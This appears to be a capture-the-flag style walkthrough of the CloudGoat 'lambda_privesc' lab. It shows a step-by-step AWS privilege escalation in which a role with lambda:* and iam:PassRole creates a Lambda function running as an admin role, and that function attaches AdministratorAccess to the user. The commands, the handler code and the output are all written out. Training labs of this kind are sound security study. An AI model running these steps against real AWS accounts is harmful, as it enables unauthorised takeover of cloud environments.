Cloudgoat-Lambda-Privesc

CloudGoat Lambda Privilege Escalation Walkthrough

This walkthrough demonstrates a complete CloudGoat Lambda privilege escalation scenario using the powerful CloudTap enumeration tool. We’ll explore how an attacker can leverage Lambda functions and IAM role passing to escalate from limited permissions to full administrative access in an AWS environment. This CloudGoat lakthrew showcases a critical privilege escalation path that security professionals should understand and defend against.

Initial Setup

First, configure CloudGoat to whitelist your IP address:

1
cloudgoat config whitelist --auto

Create the Lambda privilege escalation scenario:

1
cloudgoat create lambda_privesc

You’ll receive initial credentials:

1
2
raynor_access_key_id = AKIAQ6VKGD5Y[REDACTED]
raynor_secret_access_key = E4iMHEH4Zu3brER[REDACTED]

Automated Enumeration with CloudTap

For this walkthrough, we’ll use CloudTap, an excellent automation tool that streamlines the initial enumeration phase of AWS penetration testing. CloudTap automatically discovers permissions, roles, and potential privilege escalation paths, making it invaluable for security assessments.

Initial Permission Discovery

CloudTap reveals the following attached policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Found attached policy: cg-chris-policy-cgid[REDACTED]
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "chris",
"Effect": "Allow",
"Action": [
"sts:AssumeRole",
"iam:List*",
"iam:Get*"
],
"Resource": "*"
}
]
}

Role Discovery and Auto-Assumption

CloudTap also identifies a potential role we can assume:

1
2
3
4
5
6
7
8
9
10
11
12
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "arn:aws:iam::[ACCOUNT-ID]:user/chris-cgid[REDACTED]"
}
}
]
}

One of CloudTap’s powerful features is its ability to automatically assume roles when the user has AssumeRole permissions. The tool provides temporary session credentials:

1
2
3
4
5
📋 Temporary session credentials:
- AccessKeyId: ASIAQ6VKGD5Y[REDACTED]
- SecretAccessKey: NzeCDw9v7Vw5QT9E[REDACTED]
- SessionToken: FwoGZXIvYXdzEH4a[REDACTED]
- Expiration: 2025-05-25 22:01:09+00:00

Permission Analysis

Lambda Manager Role Permissions

Let’s examine what permissions our assumed role provides. First, get the policy ARN:

1
aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgid[REDACTED] --profile init 

Output:

1
2
3
4
5
6
7
8
{
"AttachedPolicies": [
{
"PolicyName": "cg-lambdaManager-policy-cgid[REDACTED]",
"PolicyArn": "arn:aws:iam::[ACCOUNT-ID]:policy/cg-lambdaManager-policy-cgid[REDACTED]"
}
]
}

Get the policy details:

1
aws iam get-policy --policy-arn arn:aws:iam::[ACCOUNT-ID]:policy/cg-lambdaManager-policy-cgid[REDACTED] --profile init

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"Policy": {
"PolicyName": "cg-lambdaManager-policy-cgid[REDACTED]",
"PolicyId": "ANPAQ6VKGD5Y[REDACTED]",
"Arn": "arn:aws:iam::[ACCOUNT-ID]:policy/cg-lambdaManager-policy-cgid[REDACTED]",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "cg-lambdaManager-policy-cgid[REDACTED]",
"CreateDate": "2025-05-25T20:52:42+00:00",
"UpdateDate": "2025-05-25T20:52:42+00:00",
"Tags": [
{
"Key": "Name",
"Value": "cg-lambdaManager-policy-cgid[REDACTED]"
},
{
"Key": "Scenario",
"Value": "lambda-privesc"
},
{
"Key": "Stack",
"Value": "CloudGoat"
}
]
}
}

Finally, examine the policy permissions:

1
aws iam get-policy-version --policy-arn arn:aws:iam::[ACCOUNT-ID]:policy/cg-lambdaManager-policy-cgid[REDACTED] --version-id v1 --profile init

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"lambda:*",
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "lambdaManager"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-05-25T20:52:42+00:00"
}
}

Critical Finding: We have full Lambda permissions (lambda:*) and iam:PassRole for all resources!

Target Role Discovery

CloudTap’s comprehensive analysis reveals another role with full administrative permissions:

1
2
3
4
5
6
7
8
9
🔍 Analyzing role 'cg-debug-role-cgid[REDACTED]' before assumption attempt...
📋 Analyzing permissions for role 'cg-debug-role-cgid[REDACTED]'...
Managed Policies: 1
Inline Policies: 0
📄 Managed Policy: AdministratorAccess
ARN: arn:aws:iam::aws:policy/AdministratorAccess
Policy Versions:
Version v1 (DEFAULT) - Created: 2015-02-06 18:39:46+00:00
Default Version (v1) Permissions:
1
2
3
4
5
6
7
8
9
10
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

Privilege Escalation Strategy

Our escalation path is now clear:

  1. Create a Lambda function
  2. Use iam:PassRole to assign the cg-debug-role-cgid[REDACTED] role to the function
  3. The Lambda function will execute with administrator privileges
  4. Use the function to attach the AdministratorAccess policy to our user

Lambda Function Creation and Exploitation

Creating the Malicious Lambda Function

This technique is documented in the AWS IAM Privilege Escalation Techniques repository.

Required Permissions:

  • iam:PassRole
  • lambda:CreateFunction
  • lambda:InvokeFunction

Create the Lambda function code (lambda_function.py):

1
2
3
4
5
6
7
8
9
10
import boto3

def lambda_handler(event, context):
iam = boto3.client('iam')
# Attach AdministratorAccess policy to the user
iam.attach_user_policy(
UserName='chris-[CLOUDGOAT-ID]',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return "Policy attached!"

Package the function:

1
zip function.zip lambda_function.py

Create the Lambda function with the privileged role:

1
2
3
4
5
6
7
aws lambda create-function \
--function-name exploit-function \
--runtime python3.12 \
--handler lambda_function.lambda_handler \
--role arn:aws:iam::[ACCOUNT-ID]:role/cg-debug-role-cgid[REDACTED] \
--zip-file fileb://function.zip \
--profile init

Function Execution

Invoke the malicious function:

1
aws lambda invoke --function-name exploit-function out.json --profile init

Response:

1
"Policy attached!"

Verification of Privilege Escalation

Verify that the chris user now has administrative privileges:

1
aws iam list-attached-user-policies --user-name chris-cgid[REDACTED] --profile sec

Output:

1
2
3
4
5
6
7
8
9
10
11
12
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
{
"PolicyName": "cg-chris-policy-cgid[REDACTED]",
"PolicyArn": "arn:aws:iam::[ACCOUNT-ID]:policy/cg-chris-policy-cgid[REDACTED]"
}
]
}

Success! The chris user now has the AdministratorAccess policy attached, providing full AWS administrative privileges.

About CloudTap

CloudTap is an essential tool for AWS security assessments that automates the tedious enumeration phase of penetration testing. Its key features include:

  • Automated Permission Discovery: Quickly identifies IAM policies and their permissions
  • Role Analysis: Comprehensive analysis of assumable roles and their privileges
  • Auto-Assumption: Automatically assumes roles when possible, saving time
  • Privilege Escalation Detection: Identifies potential escalation paths
  • Clean Output: Well-formatted results that are easy to analyze

CloudTap significantly speeds up the reconnaissance phase of AWS penetration testing, allowing security professionals to focus on exploitation and remediation rather than manual enumeration tasks.